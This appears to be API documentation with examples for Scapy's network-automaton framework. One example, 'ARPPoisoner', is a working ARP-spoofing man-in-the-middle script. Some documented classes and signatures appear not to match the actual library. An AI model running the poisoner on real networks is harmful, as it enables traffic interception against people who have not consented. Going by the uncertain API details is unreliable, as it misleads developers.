0
# Automation Framework
1
2
State machine framework for building automated network protocols, responding to network events, and creating interactive network services and attack simulations.
3
4
## Capabilities
5
6
### Automaton Base Class
7
8
Core state machine class for building automated network behaviors and protocol implementations.
9
10
```python { .api }
11
class Automaton:
12
"""
13
Base class for creating network protocol automatons.
14
"""
15
def __init__(self, *args, **kwargs):
16
"""
17
Initialize automaton.
18
19
Parameters:
20
- *args: Positional arguments
21
- **kwargs: Keyword arguments for configuration
22
"""
23
24
def start(self) -> None:
25
"""
26
Start the automaton execution.
27
"""
28
29
def stop(self) -> None:
30
"""
31
Stop the automaton execution.
32
"""
33
34
def restart(self) -> None:
35
"""
36
Restart the automaton from initial state.
37
"""
38
39
def run(self, resume: int = 0, timeout: float = None) -> None:
40
"""
41
Run the automaton with optional timeout.
42
43
Parameters:
44
- resume: Resume from specific point
45
- timeout: Maximum runtime in seconds
46
"""
47
48
def runbg(self, resume: int = 0, timeout: float = None) -> None:
49
"""
50
Run automaton in background thread.
51
52
Parameters:
53
- resume: Resume from specific point
54
- timeout: Maximum runtime in seconds
55
"""
56
57
def send(self, pkt: Packet) -> None:
58
"""
59
Send a packet from the automaton.
60
61
Parameters:
62
- pkt: Packet to send
63
"""
64
65
def receive(self, pkt: Packet) -> None:
66
"""
67
Process received packet in automaton.
68
69
Parameters:
70
- pkt: Received packet
71
"""
72
```
73
74
### ATMT Decorators
75
76
Decorators for defining automaton states, transitions, and behaviors.
77
78
```python { .api }
79
class ATMT:
80
"""
81
Automaton decorators and utilities for state machine definition.
82
"""
83
84
@staticmethod
85
def state(initial: bool = False, final: bool = False, error: bool = False):
86
"""
87
Define an automaton state.
88
89
Parameters:
90
- initial: Mark as initial state
91
- final: Mark as final state
92
- error: Mark as error state
93
94
Returns:
95
decorator: State decorator function
96
"""
97
98
@staticmethod
99
def action(func: callable):
100
"""
101
Define action to execute when entering a state.
102
103
Parameters:
104
- func: Function to execute as action
105
106
Returns:
107
decorator: Action decorator
108
"""
109
110
@staticmethod
111
def condition(func: callable, prio: int = 0):
112
"""
113
Define condition for state transition.
114
115
Parameters:
116
- func: Condition function
117
- prio: Priority for condition evaluation
118
119
Returns:
120
decorator: Condition decorator
121
"""
122
123
@staticmethod
124
def receive(func: callable, prio: int = 0):
125
"""
126
Define packet receive handler.
127
128
Parameters:
129
- func: Handler function for received packets
130
- prio: Priority for receive handler
131
132
Returns:
133
decorator: Receive decorator
134
"""
135
136
@staticmethod
137
def timeout(func: callable, timeout: float):
138
"""
139
Define timeout handler for state.
140
141
Parameters:
142
- func: Timeout handler function
143
- timeout: Timeout value in seconds
144
145
Returns:
146
decorator: Timeout decorator
147
"""
148
149
@staticmethod
150
def ioevent(func: callable, name: str, as_supersocket: bool = False):
151
"""
152
Define I/O event handler.
153
154
Parameters:
155
- func: Event handler function
156
- name: Event name
157
- as_supersocket: Treat as supersocket event
158
159
Returns:
160
decorator: I/O event decorator
161
"""
162
```
163
164
### Built-in Answering Machines
165
166
Pre-built automatons for common network protocols and responses.
167
168
```python { .api }
169
class ARP_am(Automaton):
170
"""
171
ARP answering machine that responds to ARP requests.
172
"""
173
def __init__(self, iface: str = None, **kwargs):
174
"""
175
Initialize ARP answering machine.
176
177
Parameters:
178
- iface: Interface to monitor
179
- **kwargs: Additional configuration
180
"""
181
182
class ICMP_am(Automaton):
183
"""
184
ICMP answering machine for ping responses.
185
"""
186
def __init__(self, iface: str = None, **kwargs):
187
"""
188
Initialize ICMP answering machine.
189
190
Parameters:
191
- iface: Interface to monitor
192
- **kwargs: Additional configuration
193
"""
194
195
class DHCPServer_am(Automaton):
196
"""
197
DHCP server answering machine.
198
"""
199
def __init__(self, iface: str = None, pool: str = "192.168.1.100-192.168.1.200", **kwargs):
200
"""
201
Initialize DHCP server.
202
203
Parameters:
204
- iface: Interface to serve DHCP on
205
- pool: IP address pool for allocation
206
- **kwargs: Additional DHCP configuration
207
"""
208
209
class DNS_am(Automaton):
210
"""
211
DNS server answering machine.
212
"""
213
def __init__(self, iface: str = None, records: dict = None, **kwargs):
214
"""
215
Initialize DNS server.
216
217
Parameters:
218
- iface: Interface to monitor
219
- records: DNS records to serve
220
- **kwargs: Additional configuration
221
"""
222
```
223
224
### Protocol Client Automatons
225
226
Client-side automatons for automated protocol interactions.
227
228
```python { .api }
229
class TCP_client(Automaton):
230
"""
231
TCP client automaton for automated connections.
232
"""
233
def __init__(self, ip: str, port: int, **kwargs):
234
"""
235
Initialize TCP client.
236
237
Parameters:
238
- ip: Target IP address
239
- port: Target port
240
- **kwargs: Additional TCP options
241
"""
242
243
class HTTP_client(Automaton):
244
"""
245
HTTP client automaton for web requests.
246
"""
247
def __init__(self, host: str, port: int = 80, **kwargs):
248
"""
249
Initialize HTTP client.
250
251
Parameters:
252
- host: Target hostname
253
- port: Target port
254
- **kwargs: Additional HTTP options
255
"""
256
257
class SMTP_client(Automaton):
258
"""
259
SMTP client automaton for email sending.
260
"""
261
def __init__(self, server: str, port: int = 25, **kwargs):
262
"""
263
Initialize SMTP client.
264
265
Parameters:
266
- server: SMTP server address
267
- port: SMTP server port
268
- **kwargs: Additional SMTP options
269
"""
270
```
271
272
## Usage Examples
273
274
### Basic Automaton Creation
275
276
```python
277
from scapy.all import *
278
279
class SimpleResponder(Automaton):
280
"""
281
Simple automaton that responds to ICMP pings.
282
"""
283
284
@ATMT.state(initial=True)
285
def WAITING(self):
286
"""Initial waiting state."""
287
print("Waiting for ICMP packets...")
288
289
@ATMT.receive(WAITING)
290
def receive_icmp(self, pkt):
291
"""Handle received ICMP packets."""
292
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # Echo request
293
print(f"Received ping from {pkt[IP].src}")
294
self.icmp_request = pkt
295
raise self.RESPONDING()
296
297
@ATMT.state()
298
def RESPONDING(self):
299
"""State for sending ICMP reply."""
300
pass
301
302
@ATMT.action(RESPONDING)
303
def send_reply(self):
304
"""Send ICMP echo reply."""
305
reply = IP(dst=self.icmp_request[IP].src, src=self.icmp_request[IP].dst) / \\
306
ICMP(type=0, id=self.icmp_request[ICMP].id, seq=self.icmp_request[ICMP].seq)
307
self.send(reply)
308
print(f"Sent reply to {self.icmp_request[IP].src}")
309
raise self.WAITING()
310
311
# Start the automaton
312
responder = SimpleResponder()
313
responder.runbg()
314
```
315
316
### TCP Connection Automaton
317
318
```python
319
class TCPConnector(Automaton):
320
"""
321
Automaton that establishes TCP connections.
322
"""
323
324
def __init__(self, target_ip: str, target_port: int):
325
super().__init__()
326
self.target_ip = target_ip
327
self.target_port = target_port
328
self.src_port = random.randint(1024, 65535)
329
self.seq = random.randint(0, 2**32-1)
330
331
@ATMT.state(initial=True)
332
def CLOSED(self):
333
"""Initial closed state."""
334
pass
335
336
@ATMT.action(CLOSED)
337
def send_syn(self):
338
"""Send TCP SYN packet."""
339
syn = IP(dst=self.target_ip) / TCP(sport=self.src_port, dport=self.target_port,
340
flags="S", seq=self.seq)
341
self.send(syn)
342
print(f"Sent SYN to {self.target_ip}:{self.target_port}")
343
raise self.SYN_SENT()
344
345
@ATMT.state()
346
def SYN_SENT(self):
347
"""Waiting for SYN-ACK."""
348
pass
349
350
@ATMT.receive(SYN_SENT)
351
def receive_synack(self, pkt):
352
"""Handle SYN-ACK response."""
353
if (pkt.haslayer(TCP) and pkt[TCP].flags == 18 and # SYN-ACK
354
pkt[TCP].dport == self.src_port and pkt[TCP].sport == self.target_port):
355
self.ack_seq = pkt[TCP].seq + 1
356
raise self.ESTABLISHED()
357
358
@ATMT.timeout(SYN_SENT, 5)
359
def syn_timeout(self):
360
"""Handle SYN timeout."""
361
print("SYN timeout - connection failed")
362
raise self.CLOSED()
363
364
@ATMT.state()
365
def ESTABLISHED(self):
366
"""Connection established state."""
367
pass
368
369
@ATMT.action(ESTABLISHED)
370
def send_ack(self):
371
"""Send ACK to complete handshake."""
372
ack = IP(dst=self.target_ip) / TCP(sport=self.src_port, dport=self.target_port,
373
flags="A", seq=self.seq+1, ack=self.ack_seq)
374
self.send(ack)
375
print(f"Connection established with {self.target_ip}:{self.target_port}")
376
377
# Use the automaton
378
connector = TCPConnector("192.168.1.1", 80)
379
connector.run(timeout=10)
380
```
381
382
### Protocol Server Automaton
383
384
```python
385
class SimpleHTTPServer(Automaton):
386
"""
387
Simple HTTP server automaton.
388
"""
389
390
def __init__(self, port: int = 8080):
391
super().__init__()
392
self.port = port
393
self.connections = {}
394
395
@ATMT.state(initial=True)
396
def LISTENING(self):
397
"""Listening for HTTP requests."""
398
print(f"HTTP server listening on port {self.port}")
399
400
@ATMT.receive(LISTENING)
401
def receive_http(self, pkt):
402
"""Handle HTTP requests."""
403
if (pkt.haslayer(TCP) and pkt.haslayer(Raw) and
404
pkt[TCP].dport == self.port and b"GET" in pkt[Raw].load):
405
406
self.client_ip = pkt[IP].src
407
self.client_port = pkt[TCP].sport
408
self.server_seq = pkt[TCP].ack
409
self.client_seq = pkt[TCP].seq + len(pkt[Raw].load)
410
411
print(f"HTTP request from {self.client_ip}:{self.client_port}")
412
raise self.RESPONDING()
413
414
@ATMT.state()
415
def RESPONDING(self):
416
"""Sending HTTP response."""
417
pass
418
419
@ATMT.action(RESPONDING)
420
def send_response(self):
421
"""Send HTTP response."""
422
response_data = (
423
b"HTTP/1.1 200 OK\\r\\n"
424
b"Content-Type: text/html\\r\\n"
425
b"Content-Length: 27\\r\\n"
426
b"\\r\\n"
427
b"<h1>Hello from Scapy!</h1>"
428
)
429
430
response = (IP(dst=self.client_ip) /
431
TCP(sport=self.port, dport=self.client_port,
432
flags="PA", seq=self.server_seq, ack=self.client_seq) /
433
Raw(response_data))
434
435
self.send(response)
436
print(f"Sent HTTP response to {self.client_ip}:{self.client_port}")
437
raise self.LISTENING()
438
439
# Start HTTP server
440
server = SimpleHTTPServer(port=8080)
441
server.runbg()
442
```
443
444
### Network Attack Simulation
445
446
```python
447
class ARPPoisoner(Automaton):
448
"""
449
ARP poisoning attack automaton.
450
"""
451
452
def __init__(self, target_ip: str, gateway_ip: str):
453
super().__init__()
454
self.target_ip = target_ip
455
self.gateway_ip = gateway_ip
456
self.attacker_mac = get_if_hwaddr(conf.iface)
457
458
@ATMT.state(initial=True)
459
def POISONING(self):
460
"""Continuously poison ARP caches."""
461
pass
462
463
@ATMT.action(POISONING)
464
def send_poison(self):
465
"""Send poisoned ARP responses."""
466
# Poison target's ARP cache (gateway -> attacker)
467
poison_target = ARP(op=2, pdst=self.target_ip, hwdst="ff:ff:ff:ff:ff:ff",
468
psrc=self.gateway_ip, hwsrc=self.attacker_mac)
469
470
# Poison gateway's ARP cache (target -> attacker)
471
poison_gateway = ARP(op=2, pdst=self.gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",
472
psrc=self.target_ip, hwsrc=self.attacker_mac)
473
474
sendp(poison_target, verbose=0)
475
sendp(poison_gateway, verbose=0)
476
print(f"Sent ARP poison: {self.target_ip} <-> {self.gateway_ip}")
477
478
@ATMT.timeout(POISONING, 5)
479
def repeat_poison(self):
480
"""Repeat poisoning every 5 seconds."""
481
raise self.POISONING()
482
483
# WARNING: Only use for authorized testing!
484
# poisoner = ARPPoisoner("192.168.1.100", "192.168.1.1")
485
# poisoner.runbg()
486
```
487
488
### Multi-State Protocol Client
489
490
```python
491
class FTPClient(Automaton):
492
"""
493
FTP client automaton with authentication.
494
"""
495
496
def __init__(self, server: str, username: str, password: str):
497
super().__init__()
498
self.server = server
499
self.username = username
500
self.password = password
501
self.port = 21
502
503
@ATMT.state(initial=True)
504
def CONNECTING(self):
505
"""Connecting to FTP server."""
506
print(f"Connecting to FTP server {self.server}")
507
508
@ATMT.action(CONNECTING)
509
def connect(self):
510
"""Establish TCP connection."""
511
syn = IP(dst=self.server) / TCP(dport=self.port, flags="S")
512
self.send(syn)
513
raise self.CONNECTED()
514
515
@ATMT.state()
516
def CONNECTED(self):
517
"""Connected, waiting for welcome message."""
518
pass
519
520
@ATMT.receive(CONNECTED)
521
def receive_welcome(self, pkt):
522
"""Handle FTP welcome message."""
523
if pkt.haslayer(Raw) and b"220" in pkt[Raw].load:
524
print("Received FTP welcome message")
525
raise self.AUTHENTICATING()
526
527
@ATMT.state()
528
def AUTHENTICATING(self):
529
"""Sending authentication."""
530
pass
531
532
@ATMT.action(AUTHENTICATING)
533
def send_username(self):
534
"""Send username."""
535
user_cmd = f"USER {self.username}\\r\\n".encode()
536
cmd_pkt = IP(dst=self.server) / TCP(dport=self.port) / Raw(user_cmd)
537
self.send(cmd_pkt)
538
print(f"Sent username: {self.username}")
539
raise self.USERNAME_SENT()
540
541
@ATMT.state()
542
def USERNAME_SENT(self):
543
"""Username sent, waiting for password prompt."""
544
pass
545
546
@ATMT.receive(USERNAME_SENT)
547
def receive_pass_prompt(self, pkt):
548
"""Handle password prompt."""
549
if pkt.haslayer(Raw) and b"331" in pkt[Raw].load:
550
pass_cmd = f"PASS {self.password}\\r\\n".encode()
551
cmd_pkt = IP(dst=self.server) / TCP(dport=self.port) / Raw(pass_cmd)
552
self.send(cmd_pkt)
553
print("Sent password")
554
raise self.AUTHENTICATED()
555
556
@ATMT.state(final=True)
557
def AUTHENTICATED(self):
558
"""Successfully authenticated."""
559
print("FTP authentication successful!")
560
561
# Use FTP client
562
# ftp = FTPClient("ftp.example.com", "testuser", "testpass")
563
# ftp.run(timeout=30)
564
```
565
566
### Event-Driven Network Monitor
567
568
```python
569
class NetworkMonitor(Automaton):
570
"""
571
Network monitoring automaton with alerts.
572
"""
573
574
def __init__(self):
575
super().__init__()
576
self.suspicious_ips = set()
577
self.connection_counts = {}
578
579
@ATMT.state(initial=True)
580
def MONITORING(self):
581
"""Continuously monitor network traffic."""
582
print("Starting network monitoring...")
583
584
@ATMT.receive(MONITORING)
585
def analyze_packet(self, pkt):
586
"""Analyze incoming packets for threats."""
587
if pkt.haslayer(IP):
588
src_ip = pkt[IP].src
589
590
# Count connections per IP
591
self.connection_counts[src_ip] = self.connection_counts.get(src_ip, 0) + 1
592
593
# Check for port scanning
594
if pkt.haslayer(TCP) and pkt[TCP].flags == 2: # SYN packet
595
if self.connection_counts[src_ip] > 100: # Threshold
596
if src_ip not in self.suspicious_ips:
597
self.suspicious_ips.add(src_ip)
598
self.alert_ip = src_ip
599
raise self.ALERT()
600
601
@ATMT.state()
602
def ALERT(self):
603
"""Generate security alert."""
604
pass
605
606
@ATMT.action(ALERT)
607
def generate_alert(self):
608
"""Generate and log security alert."""
609
print(f"SECURITY ALERT: Possible port scan from {self.alert_ip}")
610
print(f"Connection count: {self.connection_counts[self.alert_ip]}")
611
612
# Could send notification, write to log, etc.
613
raise self.MONITORING()
614
615
@ATMT.timeout(MONITORING, 60)
616
def reset_counters(self):
617
"""Reset connection counters periodically."""
618
self.connection_counts.clear()
619
print("Reset connection counters")
620
raise self.MONITORING()
621
622
# Start network monitor
623
# monitor = NetworkMonitor()
624
# monitor.runbg()
625
```